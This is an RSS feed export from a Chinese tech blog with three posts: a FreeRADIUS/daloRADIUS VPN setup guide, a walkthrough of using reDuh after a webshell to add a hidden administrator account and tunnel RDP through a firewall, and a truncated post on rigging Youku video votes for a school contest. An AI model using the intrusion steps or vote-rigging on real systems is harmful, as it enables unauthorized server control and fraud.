<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>大眼夹的鸟巢 &#187; 技术文章</title>
	<atom:link href="http://dayanjia.com/category/technical-articles/feed" rel="self" type="application/rss+xml" />
	<link>http://dayanjia.com</link>
	<description>学习ＩＴ，感悟产业，热爱生活</description>
	<lastBuildDate>Sat, 28 May 2011 12:25:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>在PPTP VPN服务器上配置FreeRADIUS+daloRADIUS实现用户跟踪管理</title>
		<link>http://dayanjia.com/2011/03/configure-freeradius-and-daloradius-on-pptp-vpn-server.html</link>
		<comments>http://dayanjia.com/2011/03/configure-freeradius-and-daloradius-on-pptp-vpn-server.html#comments</comments>
		<pubDate>Sat, 12 Mar 2011 09:27:52 +0000</pubDate>
		<dc:creator>大眼夹</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[首页展示]]></category>
		<category><![CDATA[daloradius]]></category>
		<category><![CDATA[freeradius]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[教程]]></category>
		<category><![CDATA[运维]]></category>

		<guid isPermaLink="false">http://dayanjia.com/?p=1221</guid>
		<description><![CDATA[<div><img width="580" height="309" src="http://dayanjia.com/wp-content/uploads/2011/03/centos-580x309.jpg" class="attachment-large wp-post-image" alt="centos" title="centos" /></div>现在很多拥有国外VPS的朋友都纷纷安装了VPN服务来方便自己上网，有时候我们还会共享出一些帐号给自己的同学、朋友使用。使用VPN来上网、玩网游等能够有效地解决某些线路上的问题，但是用的人一多难免会出现资源分配不均的情况，这时合理的管理手段就显得很有必要了。不过拿常见的PPTP VPN来说，最简单的配置就是使用PPP的chap-secrets文件来静态地保存用户名和密码，这样我们没有办法知道各个用户连接VPN的时间，上传下载的数据量等信息，所谓用户跟踪管理完全就是一笔糊涂账。我们将目光转向一种更加高级的用户验证手段——RADIUS服务，用它就能实现完善的用户跟踪管理功能。 本文以CentOS 5.5操作系统上的PoPToP VPN服务为例讲述配置FreeRADIUS服务，使用MySQL数据库管理用户验证信息，安装Web管理界面daloRADIUS的方法，其他VPN例如L2TP、OpenVPN等类似。本文内容参考了诸多资料，恕不一一列出。 前置条件 首先要保证使用chap-secrets验证的PPTP服务能够正常使用。关于配置简单PPTP VPN的方法不在本文的范围之内，请参考这篇文章或其他相关教程。 其次，你需要在服务器上安装好HTTP+PHP+MySQL环境，本例中使用Apache作为HTTP服务器。此外PHP需要安装PEAR。 科普时间 PPP：Point-to-Point Protocol，点对点协议，是工作在数据链路层的连接协议。常见的ADSL连接时使用的PPPoE便是指的以太网上的点对点协议（Point-to-Point Protocol over Ethernet）。而我们创建连接VPN时也会通过PPP来进行，*nix操作系统上的pppd能够完成这一任务，其进行用户验证的默认方法便是chap-secrets文件。配置完FreeRADIUS后，我们需要把用户验证这一环节交给RADIUS服务器来完成。 RADIUS：Remote Authentication Dial In User Service，远程用户拨号验证服务，基于RFC2865和RFC2866。具体的工作原理挺复杂的，仔细阅读这两个RFC标准应该可以搞明白。简单的说，它是一个兼顾验证（authentication）、授权（authorization）及记账（accounting）三种服务的协议，即AAA协议。RADIUS运行在应用层，使用UDP进行传输，它被广泛用于ISP和企业用来控制Internet或内部网络、无线网络的访问。 FreeRADIUS：是一个实现RADIUS协议的软件，基于GPLv2开源。它是目前部署最广泛的开源RADIUS软件。 daloRADIUS：是一个FreeRADIUS的Web挂历程序，使用PHP编写。 安装配置流程 配置FreeRADIUS 1. 登入终端后，首先安装FreeRAIUS，一般源里两个版本，其中FreeRADIUS 1.x已经不被支持了，我们安装的是freeradius2。 2. 安装完后，我们编辑/etc/raddb/users，在文件开头加上：testing Cleartext-Password := "password"。 Tips：你需要了解如何使用SSH终端，和终端里文本编辑的方法，例如Vim的使用。 3. 启动radiusd，第一次启动会生成密钥，稍等片刻即可。使用-X参数可以让调试信息直接输出屏幕： 4. 新打开一个SSH终端，测试服务器是否连通： 如果看到Access-Accept就说明连接成功了。如果看到类似“Ignoring request to authentication address * port 1812 from unknownclient”的文字，可能需要去修改/etc/raddb/clients.conf，将client localhost段下的ipaddr改为服务器的IP，而不是127.0.0.1。 测试连接成功后，我们可以把users里临时加上去的第一行删除。 5. 下载ppp源码，因为要用到其中的配置文件： 6. 编辑/usr/local/etc/radiusclient/servers，加上一组服务器和密钥，本例中为“MyVPN”： 7. 编辑/usr/local/etc/radiusclient/dictionary，将最后一行改为： INCLUDE ...

<h3>延伸阅读：</h3><ol><li><a href='http://dayanjia.com/2008/02/customize-office-2007-setup.html' rel='bookmark' title='Permanent Link: 自定义 Office 2007 安装程序'>自定义 Office 2007 安装程序</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div><img width="580" height="309" src="http://dayanjia.com/wp-content/uploads/2011/03/centos-580x309.jpg" class="attachment-large wp-post-image" alt="centos" title="centos" /></div><p>现在很多拥有国外VPS的朋友都纷纷安装了VPN服务来方便自己上网，有时候我们还会共享出一些帐号给自己的同学、朋友使用。使用VPN来上网、玩网游等能够有效地解决某些线路上的问题，但是用的人一多难免会出现资源分配不均的情况，这时合理的管理手段就显得很有必要了。不过拿常见的PPTP VPN来说，最简单的配置就是使用PPP的<code>chap-secrets</code>文件来静态地保存用户名和密码，这样我们没有办法知道各个用户连接VPN的时间，上传下载的数据量等信息，所谓用户跟踪管理完全就是一笔糊涂账。我们将目光转向一种更加高级的用户验证手段——RADIUS服务，用它就能实现完善的用户跟踪管理功能。</p>
<p>本文以CentOS 5.5操作系统上的PoPToP VPN服务为例讲述<strong>配置FreeRADIUS服务，使用MySQL数据库管理用户验证信息，安装Web管理界面daloRADIUS</strong>的方法，其他VPN例如L2TP、OpenVPN等类似。本文内容参考了诸多资料，恕不一一列出。<br />
<span id="more-1221"></span></p>
<h2>前置条件</h2>
<p>首先要保证使用<code>chap-secrets</code>验证的PPTP服务能够正常使用。关于配置简单PPTP VPN的方法不在本文的范围之内，请参考<a title="在CentOS下安装PPTP的VPN" href="http://www.black-xstar.com/blog/691.html" target="_blank">这篇文章</a>或其他相关教程。<br />
其次，你需要在服务器上安装好HTTP+PHP+MySQL环境，本例中使用Apache作为HTTP服务器。此外PHP需要安装PEAR。</p>
<h2>科普时间</h2>
<p><strong>PPP</strong>：Point-to-Point Protocol，<a title="点对点协议" href="http://zh.wikipedia.org/wiki/%E7%82%B9%E5%AF%B9%E7%82%B9%E5%8D%8F%E8%AE%AE" target="_blank">点对点协议</a>，是工作在数据链路层的连接协议。常见的ADSL连接时使用的PPPoE便是指的以太网上的点对点协议（Point-to-Point Protocol over Ethernet）。而我们创建连接VPN时也会通过PPP来进行，*nix操作系统上的pppd能够完成这一任务，其进行用户验证的默认方法便是<code>chap-secrets</code>文件。配置完FreeRADIUS后，我们需要把用户验证这一环节交给RADIUS服务器来完成。</p>
<p><strong>RADIUS</strong>：Remote Authentication Dial In User Service，远程用户拨号验证服务，基于<a title="RFC2865 - Internet Engineering Task Force" href="http://www.ietf.org/rfc/rfc2865.txt" target="_blank">RFC2865</a>和<a title="RFC2866 - Internet Engineering Task Force" href="http://www.ietf.org/rfc/rfc2866.txt" target="_blank">RFC2866</a>。具体的工作原理挺复杂的，仔细阅读这两个RFC标准应该可以搞明白。简单的说，它是一个兼顾验证（authentication）、授权（authorization）及记账（accounting）三种服务的协议，即<a title="AAA protocol" href="http://en.wikipedia.org/wiki/AAA_protocol" target="_blank">AAA协议</a>。RADIUS运行在应用层，使用UDP进行传输，它被广泛用于ISP和企业用来控制Internet或内部网络、无线网络的访问。</p>
<p><a href="http://freeradius.org/"><img class="alignright" title="FreeRADIUS" src="http://freeradius.org/css/freeradius.png" alt="" width="188" height="39" /></a><strong><a title="freeradius" href="http://freeradius.org/" target="_blank">FreeRADIUS</a></strong>：是一个实现RADIUS协议的软件，基于GPLv2开源。它是目前部署最广泛的开源RADIUS软件。</p>
<p><strong><a title="daloRADIUS" href="http://daloradius.com/" target="_blank">daloRADIUS</a></strong>：是一个FreeRADIUS的Web挂历程序，使用PHP编写。</p>
<h2>安装配置流程</h2>
<h3>配置FreeRADIUS</h3>
<p>1. 登入终端后，首先安装FreeRAIUS，一般源里两个版本，其中FreeRADIUS 1.x已经不被支持了，我们安装的是freeradius2。</p>
<pre class="brush: bash; light: true; title: ; notranslate">yum install freeradius2 freeradius2-mysql freeradius2-utils</pre>
<p>2. 安装完后，我们编辑<code>/etc/raddb/users</code>，在文件开头加上：<code>testing Cleartext-Password := "password"</code>。</p>
<blockquote><p>Tips：你需要了解如何使用SSH终端，和终端里文本编辑的方法，例如Vim的使用。</p></blockquote>
<p>3. 启动radiusd，第一次启动会生成密钥，稍等片刻即可。使用<code>-X</code>参数可以让调试信息直接输出屏幕：</p>
<pre class="brush: bash; light: true; title: ; notranslate">radiusd -X</pre>
<p>4. 新打开一个SSH终端，测试服务器是否连通：</p>
<pre class="brush: bash; light: true; title: ; notranslate">radtest testing password 127.0.0.1 0 testing123</pre>
<p>如果看到Access-Accept就说明连接成功了。如果看到类似“Ignoring request to authentication address * port 1812 from unknownclient”的文字，可能需要去修改<code>/etc/raddb/clients.conf</code>，将<code>client localhost</code>段下的<code>ipaddr</code>改为服务器的IP，而不是127.0.0.1。<br />
测试连接成功后，我们可以把<code>users</code>里临时加上去的第一行删除。</p>
<p>5. 下载ppp源码，因为要用到其中的配置文件：</p>
<pre class="brush: bash; title: ; notranslate">
wget ftp://ftp.samba.org/pub/ppp/ppp-2.4.5.tar.gz
tar zxvf ppp-2.4.5.tar.gz
cp -R /root/ppp-2.4.5/pppd/plugins/radius/etc/ /usr/local/etc/radiusclient
</pre>
<p>6. 编辑<code>/usr/local/etc/radiusclient/servers</code>，加上一组服务器和密钥，本例中为“MyVPN”：</p>
<pre class="brush: plain; title: ; notranslate">localhost MyVPN</pre>
<p>7. 编辑<code>/usr/local/etc/radiusclient/dictionary</code>，将最后一行改为：<br />
<code>INCLUDE /usr/local/etc/radiusclient/dictionary.microsoft</code><br />
可以再添加一行：<br />
<code>INCLUDE /usr/local/etc/radiusclient/dictionary.merit</code></p>
<p>8. 编辑<code>/etc/raddb/clients.conf</code>，把<code>client localhost</code>段下的<code>secret</code>改成刚才指定的密钥。</p>
<p>9. 编辑<code>/etc/raddb/radiusd.conf</code>，找到<code>$INCLUDE sql.conf</code>，去掉前面的<code>#</code>；找到<code>$INCLUDE sql/mysql/counter.conf</code>，去掉前面的<code>#</code>。</p>
<p>10. 添加MySQL用户及数据库，你可以使用现成的phpMyAdmin等工具，也可以在终端下操作。本例中，创建了radius的用户和同名的数据库：</p>
<pre class="brush: sql; title: ; notranslate">
CREATE USER 'radius'@'localhost' IDENTIFIED BY '***';
CREATE DATABASE IF NOT EXISTS `radius` ;
GRANT ALL PRIVILEGES ON `radius` . * TO 'radius'@'localhost';
</pre>
<p>11. 编辑<code>/etc/raddb/sql.conf</code>，配置<code>login</code>（用户名），<code>password</code>（密码），<code>radius_db</code>（数据库名）等字段，并找到<code>readclients</code>一行，设为<code>yes</code>并去掉注释符号<code>#</code>。</p>
<p>12. 编辑<code>/etc/raddb/sites-enabled/default</code>，根据下面的说明注释或取消注释相应的行：</p>
<ul>
<li><code>authorize</code>段，关掉<code>files</code>，打开<code>sql</code>，也可以把<code>unix</code>关掉</li>
<li><code>preacct</code>段，关掉<code>files</code></li>
<li><code>accounting</code>段，打开<code>sql</code>，也可以把<code>unix</code>关掉</li>
<li><code>session</code>段，打开<code>sql</code></li>
<li><code>post-auth</code>段，打开<code>sql</code></li>
<li><code>pre-proxy</code>段，关掉<code>files</code></li>
</ul>
<p>到这一步，我们的FreeRADIUS就算配置好了，用户信息都将保存在MySQL数据库中。至于数据库中的表，我们在后面统一导入。</p>
<h3>配置daloRADIUS</h3>
<p>13. 首先下载并安装daloRADIUS，其中需要安装一个Pear-DB的包：</p>
<pre class="brush: bash; title: ; notranslate">
wget http://sourceforge.net/projects/daloradius/files/daloradius/daloradius-0.9-8/daloradius-0.9-8.tar.gz
pear install DB
mkdir /usr/share/daloRadius
tar zxvf daloradius-0.9-8.tar.gz
mv daloradius-0.9-8/* /usr/share/daloRadius/
rm -r daloradius-0.9-8
</pre>
<p>14. 这时我们将daloRADIUS中附带的sql文件导入MySQL数据库，别忘了输入密码：</p>
<pre class="brush: bash; light: true; title: ; notranslate">mysql -uroot -p radius &lt; /usr/share/daloRadius/contrib/db/fr2-mysql-daloradius-and-freeradius.sql</pre>
<p>15. 编辑<code>/usr/share/daloRadius/library/daloradius.conf.php</code>，这是daloRADIUS的配置文件。首先是MySQL登录信息：</p>
<pre class="brush: php; title: ; notranslate">
$configValues['CONFIG_DB_HOST'] = 'localhost';
$configValues['CONFIG_DB_USER'] = 'radius';
$configValues['CONFIG_DB_PASS'] = '***'; // 设为自己的密码
$configValues['CONFIG_DB_NAME'] = 'radius';
</pre>
<p>下面有一个daloRADIUS的bug，默认配置中有一个表名和我们导入的不一样，把它改过来：</p>
<pre class="brush: php; light: true; title: ; notranslate">$configValues['CONFIG_DB_TBL_RADUSERGROUP'] = 'radusergroup';</pre>
<p>然后修改daloRADIUS的路径：</p>
<pre class="brush: php; light: true; title: ; notranslate">$configValues['CONFIG_PATH_DALO_VARIABLE_DATA'] = '/usr/share/daloRadius/var';</pre>
<p>16. 添加Apache虚拟主机，如果有Web控制面板什么的自然就方便多了，不然就编辑<code>/etc/httpd/conf/httpd.conf</code>，加入：</p>
<pre class="brush: plain; title: ; notranslate">
Alias /vpn &quot;/usr/share/daloRadius/&quot;
&lt;Directory &quot;/usr/share/daloRADIUS&quot;&gt;
&lt;/Directory&gt;
</pre>
<p>17. 重启重启Apache和MySQL：</p>
<pre class="brush: bash; title: ; notranslate">
service httpd restart
service mysqld restart
</pre>
<p>18. 打开浏览器，进入daloRADIUS的管理页面（本例中为<code>http://your.domain/vpn</code>），使用默认用户名<code>administrator</code>和密码<code>radius</code>登录。</p>
<p>daloRADIUS似乎写的不怎么样，最新稳定版已经是三年之前的了，不过作者直到现在还在更新SVN，下次有机会可以用最新的SVN版本试试看。在Management中添加一个新用户，注意密码类型选择Cleartext-Password。</p>
<p>19. 在终端里再次启动<code>radius -X</code>，同时在另一个终端中用<code>radtest username password localhost 0 MyVPN</code>测试一下，看看现在是不是还能正常接通，如果没问题就OK，让我们把这套系统接驳到PPP上。</p>
<h3>配置pppd</h3>
<p>20. 编辑<code>/etc/ppp/options.pptpd</code>，里面已经有许多配置选项了，我们要保证有下面的几行，如果没有就添加上去，为了保障用户登录的安全我们限制只使用MS-CHAPv2：</p>
<pre class="brush: plain; title: ; notranslate">
refuse-pap
refuse-chap
refuse-mschap
require-mppe-128
require-mschap-v2
</pre>
<p>在配置文件最后加上3行：</p>
<pre class="brush: plain; title: ; notranslate">
plugin radius.so
plugin radattr.so
radius-config-file /usr/local/etc/radiusclient/radiusclient.conf
</pre>
<h3>启动服务</h3>
<p>21. 一切完成后我们不需要使用debug模式启动radiusd了：</p>
<pre class="brush: bash; light: true; title: ; notranslate">service radiusd start</pre>
<p>22. 当然，我们可以把radiusd和pptpd设为开机启动服务：</p>
<pre class="brush: bash; title: ; notranslate">
chkconfig radiusd on
chkconfig pptpd on
</pre>
<p>至此，PPTP+FreeRADIUS+MySQL+daloRADIUS全部配置完毕，我们在本机上使用添加的用户名和密码拨入VPN，可以正常使用。在daloRADIUS中，还可以看到各个用户每次连接的时长，上传和下载的数据量统计等。daloRADIUS其他的使用方法，本文不再叙述。</p>


<h3>延伸阅读：</h3><ol><li><a href='http://dayanjia.com/2008/02/customize-office-2007-setup.html' rel='bookmark' title='Permanent Link: 自定义 Office 2007 安装程序'>自定义 Office 2007 安装程序</a></li>
</ol>]]></content:encoded>
			<wfw:commentRss>http://dayanjia.com/2011/03/configure-freeradius-and-daloradius-on-pptp-vpn-server.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>利用reDuh打通HTTP隧道</title>
		<link>http://dayanjia.com/2011/02/use-reduh-create-a-http-tunnel.html</link>
		<comments>http://dayanjia.com/2011/02/use-reduh-create-a-http-tunnel.html#comments</comments>
		<pubDate>Wed, 23 Feb 2011 12:20:31 +0000</pubDate>
		<dc:creator>大眼夹</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://dayanjia.com/?p=1209</guid>
		<description><![CDATA[<div><img width="580" height="338" src="http://dayanjia.com/wp-content/uploads/2011/02/hacker-580x338.png" class="attachment-large wp-post-image" alt="hacker" title="hacker" /></div>在某些缺乏安全性的Windows服务器上，总会运行着一个Tomcat，上面跑着某些国内外包公司做的缺乏安全性的JSP程序。这些一环套一环的缺乏安全性就造就了一台可怜地服务器，暴露在Internet的某个小角落。但是有时，这些缺乏安全性的服务器会被一面强有力的防火墙保护着，这位忠实的卫士竭尽所能安慰着那千疮百孔的服务器。但是外来的捍卫终究抵不过自身的体弱多病…… 说得这么矫情，其实只是假设一个环境。我们现在有一台跑Tomcat的Windows服务器，我们已经能够自由地上传一些文件，执行一些命令行——想必一般的Webshell都能做到这些。这时候我们想获取服务器的终极操控权——远程桌面，却发现3389端口却被防火墙挡住了，这该怎么办呢？ 准备工作 当然我们先看一下3389端口是否是开放的，命令行下执行netstat -an，如果能看到类似“TCP    0.0.0.0:3389 LISTENING”这样的字样就说明很有希望了。然后我们再新建一个用户吧。依次执行net user username password /add和net localgroup administrators username /add。这时候我们满心欢喜地想在机器上远程桌面连接服务器，却发现失败了。排除了一些IP排除策略的可能性后（在注册表中可以检查相关设置），多半就是防火墙的问题了。 使用reDuh建立隧道 reDuh是由国外一个名叫Glenn Wilkinson的安全人员编写的一个通过HTTP协议建立隧道传输各种其他数据的工具。运行于服务器的JSP脚本接受HTTP请求，在本地转发给相应的端口，并接受本地端口的数据再通过HTTP发送给远程客户端。这样本来应该走其他端口的数据变摇身一变，披上了HTTP协议的报文头，换走HTTP的端口了。所有HTTP通道中的数据都是经过Base64编码的（Base64可以将二进制数据转换成ASCII字符序列，并且可以解码还原）。下面这张图详细地说明了reDuh的工作流程（图片汉化自SensePost's BlackHat USA 2008 talk on tunnelling data in and out of networks）： 将JSP文件上传至服务器后，我们在自己机器上运行客户端建立连接：java -jar reDuhClient.jar http://internal.bigcompany.com/uploads/reDuh.jsp。产生输出： 这时候我们登录进本机的1010端口，可以使用telnet或者netcat。登录后我们会看到Welcome to the reDuh command line的提示。输入[createTunnel]1234:127.0.0.1:3389便可以将远程服务器的3389端口和本地的1234端口绑定起来。 这时候我们便可以打开远程桌面连接，连接127.0.0.1:1234，然后就能看到熟悉的界面了。java的控制台会不断输出运行信息。因为绕了很多弯的缘故，所以远程桌面的速度并不快，但是毕竟连接上了，不是吗？ 当需要断开连接的时候，我们只需要输入[killReDuh]即可。 隧道是个好东西 如果大家知道利用国外服务器的SSH隧道可以用来访问某些被“防火墙”挡住的国外网站的话，一定会觉得这似乎很熟悉。没错，只不过本文是使用的HTTP的80端口，而那是利用的SSH的22端口，采用的协议不同而已。 隧道就是这么个好东西，能够绕过防火墙的限制，在原本不属于自己的道路上跑运输——这就是“隧道”的本意吧？ 没有相关日志

<h3>没有相关日志</h3>]]></description>
			<content:encoded><![CDATA[<div><img width="580" height="338" src="http://dayanjia.com/wp-content/uploads/2011/02/hacker-580x338.png" class="attachment-large wp-post-image" alt="hacker" title="hacker" /></div><p>在某些缺乏安全性的Windows服务器上，总会运行着一个Tomcat，上面跑着某些国内外包公司做的缺乏安全性的JSP程序。这些一环套一环的缺乏安全性就造就了一台可怜地服务器，暴露在Internet的某个小角落。但是有时，这些缺乏安全性的服务器会被一面强有力的防火墙保护着，这位忠实的卫士竭尽所能安慰着那千疮百孔的服务器。但是外来的捍卫终究抵不过自身的体弱多病……</p>
<p>说得这么矫情，其实只是假设一个环境。我们现在有一台跑Tomcat的Windows服务器，我们已经能够自由地上传一些文件，执行一些命令行——想必一般的Webshell都能做到这些。这时候我们想获取服务器的终极操控权——远程桌面，却发现3389端口却被防火墙挡住了，这该怎么办呢？</p>
<p><span id="more-1209"></span></p>
<h2>准备工作</h2>
<p>当然我们先看一下3389端口是否是开放的，命令行下执行<code>netstat -an</code>，如果能看到类似“TCP    0.0.0.0:3389 LISTENING”这样的字样就说明很有希望了。然后我们再新建一个用户吧。依次执行<code>net user username password /add</code>和<code>net localgroup administrators username /add</code>。这时候我们满心欢喜地想在机器上远程桌面连接服务器，却发现失败了。排除了一些IP排除策略的可能性后（在注册表中可以检查相关设置），多半就是防火墙的问题了。</p>
<p><a rel="attachment wp-att-1213" href="http://dayanjia.com/2011/02/use-reduh-create-a-http-tunnel.html/mstsc-error"><img class="alignnone size-full wp-image-1213" title="mstsc error" src="http://dayanjia.com/wp-content/uploads/2011/02/mstsc-error.png" alt="" width="406" height="272" /></a></p>
<h2>使用reDuh建立隧道</h2>
<p><a title="reDuh" href="http://www.sensepost.com/labs/tools/pentest/reduh">reDuh</a>是由国外一个名叫Glenn Wilkinson的安全人员编写的一个通过HTTP协议建立隧道传输各种其他数据的工具。运行于服务器的JSP脚本接受HTTP请求，在本地转发给相应的端口，并接受本地端口的数据再通过HTTP发送给远程客户端。<strong>这样本来应该走其他端口的数据变摇身一变，披上了HTTP协议的报文头，换走HTTP的端口了。</strong>所有HTTP通道中的数据都是经过Base64编码的（Base64可以将二进制数据转换成ASCII字符序列，并且可以解码还原）。下面这张图详细地说明了reDuh的工作流程（图片汉化自<a title="Copy of the Slides" href="http://www.sensepost.com/cms/resources/labs/conferences/eye_of_the_needle/SensePost_Eye_of_a_Needle.pdf">SensePost's BlackHat USA 2008 talk on tunnelling data in and out of networks</a>）：</p>
<p><a rel="attachment wp-att-1214" href="http://dayanjia.com/2011/02/use-reduh-create-a-http-tunnel.html/reduh-tunnel"><img class="alignnone size-large wp-image-1214" title="reDuh tunnel" src="http://dayanjia.com/wp-content/uploads/2011/02/reDuh-tunnel-580x404.png" alt="" width="580" height="404" /></a></p>
<p>将JSP文件上传至服务器后，我们在自己机器上运行客户端建立连接：<code>java -jar reDuhClient.jar http://internal.bigcompany.com/uploads/reDuh.jsp</code>。产生输出：</p>
<pre class="brush: plain; title: ; notranslate">[Info]Querying remote web page for usable remote service port
[Info]Remote RPC port chosen as 42000
[Info]Attempting to start reDuh from internal.bigcompany.com/uploads/reDuh.jsp.  Using service port 42000. Please wait...
[Info]reDuhClient service listener started on local port 1010</pre>
<p>这时候我们登录进本机的1010端口，可以使用telnet或者netcat。登录后我们会看到<code>Welcome to the reDuh command line</code>的提示。输入<code>[createTunnel]1234:127.0.0.1:3389</code>便可以将远程服务器的3389端口和本地的1234端口绑定起来。</p>
<p>这时候我们便可以打开远程桌面连接，连接127.0.0.1:1234，然后就能看到熟悉的界面了。java的控制台会不断输出运行信息。因为绕了很多弯的缘故，所以远程桌面的速度并不快，但是毕竟连接上了，不是吗？</p>
<p><a rel="attachment wp-att-1215" href="http://dayanjia.com/2011/02/use-reduh-create-a-http-tunnel.html/mstsc"><img class="alignnone size-large wp-image-1215" title="mstsc" src="http://dayanjia.com/wp-content/uploads/2011/02/mstsc-580x448.png" alt="" width="580" height="448" /></a></p>
<p>当需要断开连接的时候，我们只需要输入<code>[killReDuh]</code>即可。</p>
<h2>隧道是个好东西</h2>
<p>如果大家知道利用国外服务器的SSH隧道可以用来访问某些被“防火墙”挡住的国外网站的话，一定会觉得这似乎很熟悉。没错，只不过本文是使用的HTTP的80端口，而那是利用的SSH的22端口，采用的协议不同而已。</p>
<p><strong>隧道就是这么个好东西，能够绕过防火墙的限制，在原本不属于自己的道路上跑运输——这就是“隧道”的本意吧？</strong></p>


<h3>没有相关日志</h3>]]></content:encoded>
			<wfw:commentRss>http://dayanjia.com/2011/02/use-reduh-create-a-http-tunnel.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>给优酷视频的“顶”“踩”自动刷票</title>
		<link>http://dayanjia.com/2010/12/vote-updown-digg-in-youku-automatically.html</link>
		<comments>http://dayanjia.com/2010/12/vote-updown-digg-in-youku-automatically.html#comments</comments>
		<pubDate>Tue, 14 Dec 2010 14:47:56 +0000</pubDate>
		<dc:creator>大眼夹</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[教程]]></category>

		<guid isPermaLink="false">http://dayanjia.com/?p=1147</guid>
		<description><![CDATA[<div><img width="580" height="403" src="http://dayanjia.com/wp-content/uploads/2010/12/youku-580x403.jpg" class="attachment-large wp-post-image" alt="youku" title="youku" /></div>最近一个高中同学说他们学校正在搞一个DV比赛，参赛者把自己的作品上传到优酷，然后其他人在浏览的时候点击“顶”按钮来投票。最终每个DV作品的“顶”的数量将会成为视频评奖的一个依据。于是，某人就心生歹念了，这个“顶”的数量是不是可以刷出来呢？来源于国外著名分享站点Digg的这一创意，实现起来其实很简单，优酷是怎样进行视频的“顶”和“踩”的操作的呢？其实这个所谓比赛没什么大不了的，技术无罪嘛！于是某人的好奇心涌上心头，手一抖就打开了某个优酷视频页面…… 手动刷票 在给一个视频进行“顶”或“踩”的操作后，默认就不能再进行操作了。当然，这点小技俩多半是通过cookies来控制的（在中国ADSL盛行的环境下，根据IP来控制实在是荒唐）。我们顶过一个视频后，将浏览器的cookies清空，再刷新一下页面，果然又可以操作了。 “顶”“踩”背后的HTTP操作 很显然，这个操作是通过JavaScript进行后台Ajax操作实现的。具体来说，多半是向一个URL发送一个请求，包含了一些参数。想要知道浏览器在访问网页时在背后干了些什么，我们就需要一些抓包工具了。在这里我们使用的是Fiddler，一款专门的HTTP debug工具，它仅会抓取HTTP请求的内容，像视频流下载的数据就看不到了，因此抓取结果会清晰很多。 我们打开视频网页，开启Fiddler捕捉，点一下“顶”，我们便可以发现Fiddler中出现了两个结果，其中一个方法为POST，另一个为GET。根据经验，我们自然是更加关注POST方法的请求啦～ 让我们看看Request的内容： 于是一切都一目了然了，POST的Entry中是经过URL Encode的字符串，我们把它解码后便可以得到__ap={"videoId":"XMjI5NjIwNDgw","type":"up"}&#38;_=。很明显吧，我们在点击“顶”的时候，浏览器后台向http://v.youku.com/QVideo/~ajax/updown发送了一个POST请求，请求内容为视频ID和类型（up还是down）。知道了这些，实现脚本自动刷票便不再是难事。 但是我们还有一个疑问，发送请求时cookies是一起发给浏览器的，服务端会不会用这个来判断是否是真实用户投票呢？看来我们还是得从JavaScript下手。 投票的JavaScript简单分析 通过简单的查找，我们可以发现优酷实现相关功能的代码在v4.js这个脚本中，不过这个脚本是混淆过的。这个简单，网上有很多JS解混淆的工具（例如这个）。搞定后，我们可以找到一个updown函数： 可以发现，这个函数其实是调用了Nova.QVideo.updown，囧。这个QVideo的JS是直接写在HTML页面中的： 于是再找到nova.js，这个nova_call其实是一个辅助函数，它创建一个NovaCall对象，这似乎继承了Prototype这个JS框架中关于Ajax请求的内容。 仔细看看，它竟然没有主动发送有关cookies的信息，看来我多虑了。绕了半天，我们也总算看出了“顶”和“踩”的内部实现方式，也加深了我们对其的理解。 Python实现自动刷票 于是我们便可以使用Python中的urllib2来自动刷票了，模拟HTTP请求即可。为了增加“真实性”，我们在请求头部加了诸如User-Agent这几个参数。友情提醒：以下代码仅供参考。 最后声明一下，本文仅供学习研究，请不要用于恶意用途哦～以上Python代码基于GPL v3发布。 延伸阅读：自动获取带有防盗链保护的图片并在浏览器中显示

<h3>延伸阅读：</h3><ol><li><a href='http://dayanjia.com/2010/12/fetch-anti-stealing-linked-images-and-show-them-in-browser-automatically.html' rel='bookmark' title='Permanent Link: 自动获取带有防盗链保护的图片并在浏览器中显示'>自动获取带有防盗链保护的图片并在浏览器中显示</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div><img width="580" height="403" src="http://dayanjia.com/wp-content/uploads/2010/12/youku-580x403.jpg" class="attachment-large wp-post-image" alt="youku" title="youku" /></div><p>最近一个高中同学说他们学校正在搞一个DV比赛，参赛者把自己的作品上传到优酷，然后其他人在浏览的时候点击“顶”按钮来投票。最终每个DV作品的“顶”的数量将会成为视频评奖的一个依据。于是，某人就心生歹念了，这个“顶”的数量是不是可以刷出来呢？来源于国外著名分享站点Digg的这一创意，实现起来其实很简单，优酷是怎样进行视频的“顶”和“踩”的操作的呢？其实这个所谓比赛没什么大不了的，技术无罪嘛！于是某人的好奇心涌上心头，手一抖就打开了某个优酷视频页面……</p>
<p><span id="more-1147"></span></p>
<h2>手动刷票</h2>
<p><a rel="attachment wp-att-1148" href="http://dayanjia.com/2010/12/vote-updown-digg-in-youku-automatically.html/2010-12-14-19-56-46"><img class="alignnone size-full wp-image-1148" title="2010-12-14 19-56-46" src="http://dayanjia.com/wp-content/uploads/2010/12/2010-12-14-19-56-46.png" alt="" width="329" height="254" /></a></p>
<p><a rel="attachment wp-att-1148" href="http://dayanjia.com/2010/12/vote-updown-digg-in-youku-automatically.html/2010-12-14-19-56-46"></a>在给一个视频进行“顶”或“踩”的操作后，默认就不能再进行操作了。当然，这点小技俩多半是通过cookies来控制的（在中国ADSL盛行的环境下，根据IP来控制实在是荒唐）。我们顶过一个视频后，将浏览器的cookies清空，再刷新一下页面，果然又可以操作了。</p>
